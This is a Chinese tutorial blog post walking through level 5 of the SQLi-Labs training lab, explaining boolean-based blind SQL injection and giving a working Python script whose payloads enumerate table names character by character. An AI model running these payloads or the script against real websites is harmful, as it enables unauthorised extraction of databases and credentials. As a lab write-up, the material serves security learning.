SQLILABS-详解less-5
我叫树新风wei
- 关注
SQLILABS-详解less-5
打开靶场第五关
一、选择第五关
点击进入打开页面
按照提示,输入ID
二、通过代码审计,发现不管对错只会存在回显和无回显两种,所以union联合方式不适用此题,从上图注入方式可知存在三列
三、通过布尔盲注方式进行,利用length来确认数据库字符长度
四、利用BP进行抓取爆破发现,数据库库名长度为8个字符
通过substr可以查看到对应的第一个字符是S或者s,根据这个情况可以逐一爆出
函数 substr(a,b,c),a是截取的字符串 ,b是截取的位置 ,c是截取的长度
最终确认数据库名称8位以及名称为security
编写脚本进行枚举爆出
import requests # 只需要修改url 和 两个payload即可 # 目标网址(不带参数) url = "http://192.168.1.200:5151/sqlilabs/Less-5" # 猜解长度使用的payload payload_len = """?id=1' and length( (select group_concat(table_name) from information_schema.tables where table_schema=database()) ) = {n} -- a""" # 枚举字符使用的payload payload_str = """?id=1' and ascii( substr( (select group_concat(table_name) from information_schema.tables where table_schema=database()) ,{n},1) ) = {r} -- a""" # 获取长度 def getLength(url, payload): length = 1 # 初始测试长度为1 while True: response = requests.get(url=url + payload_len.format(n=length)) # 页面中出现此内容则表示成功 if 'You are in...........' in response.text: print('测试长度完成,长度为:', length, ) return length; else: print('正在测试长度:', length) length += 1 # 测试长度递增 # 获取字符 def getStr(url, payload, length): str = '' # 初始表名/库名为空 # 第一层循环,截取每一个字符 for l in range(1, length + 1): # 第二层循环,枚举截取字符的每一种可能性 for n in range(33, 126): response = requests.get(url=url + payload_str.format(n=l, r=n)) # 页面中出现此内容则表示成功 if 'You are in...........' in response.text: str += chr(n) print('第', l, '个字符猜解成功:', str) break; return str; # 开始猜解 length = getLength(url, payload_len) getStr(url, payload_str, length)
后续也可根据脚本编写爆出对应的用户名和密码
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 我叫树新风wei 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
SQLILABS-详解less-4
2024-02-28
SQLILABS-详解less-3
2024-02-28
SQLILABS-详解less-2
2024-02-28